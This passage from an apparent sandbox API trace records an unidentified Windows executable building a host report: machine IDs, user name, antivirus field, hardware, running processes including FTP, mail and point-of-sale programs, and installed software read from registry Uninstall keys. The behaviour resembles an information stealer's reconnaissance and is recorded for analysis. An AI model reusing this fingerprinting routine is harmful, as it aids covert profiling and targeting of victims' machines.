[2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]"
[0054.963] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]", lpString2="\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\n"
[0054.963] RegCloseKey (hKey=0x514) returned 0x0
[0054.963] RegEnumKeyExA (in: hKey=0x508, dwIndex=0x25, lpName=0x1816c4, lpcchName=0x1816c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90160000-001F-0409-0000-0000000FF1CE}", lpcchName=0x1816c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0054.963] wsprintfA (in: param_1=0x181ac4, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90160000-001F-0409-0000-0000000FF1CE}") returned 90
[0054.963] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90160000-001F-0409-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x1816bc | out: phkResult=0x1816bc*=0x514) returned 0x0
[0054.963] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x1, lpData="Microsoft Office Proofing Tools 2016 - English", lpcbData=0x1816c0*=0x2f) returned 0x0
[0054.963] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 